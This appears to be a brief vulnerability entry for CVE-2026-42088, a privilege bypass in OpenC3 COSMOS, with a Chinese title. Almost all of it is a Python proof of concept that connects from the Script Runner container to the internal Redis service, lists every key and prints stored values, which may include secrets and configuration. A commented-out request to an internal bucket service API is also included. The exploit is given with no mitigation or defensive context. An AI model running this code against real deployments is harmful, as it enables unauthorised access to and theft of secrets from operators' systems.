CVE-2026-42088 OpenC3 COSMOS 权限绕过漏洞

# PoC: Accessing internal Redis from Script Runner container import redis # Connect to Redis using the internal Docker network hostname # This bypasses the application-level API checks r = redis.Redis(host='redis', port=6379, db=0) print("[*] Attempting to dump Redis keys...") try: # List all keys to find sensitive data (secrets, configs) keys = r.keys('*') for key in keys: key_type = r.type(key).decode('utf-8') print(f"Found Key: {key}, Type: {key_type}") # Extract value if it is a string if key_type == 'string': val = r.get(key).decode('utf-8') print(f"Value: {val}") except Exception as e: print(f"Error: {e}") # Example: Writing to the bucket service (if accessible via HTTP API) # import requests # print("[*] Attempting to access bucket service...") # response = requests.get('http://openc3-buckets:3000/api/buckets') # print(response.text)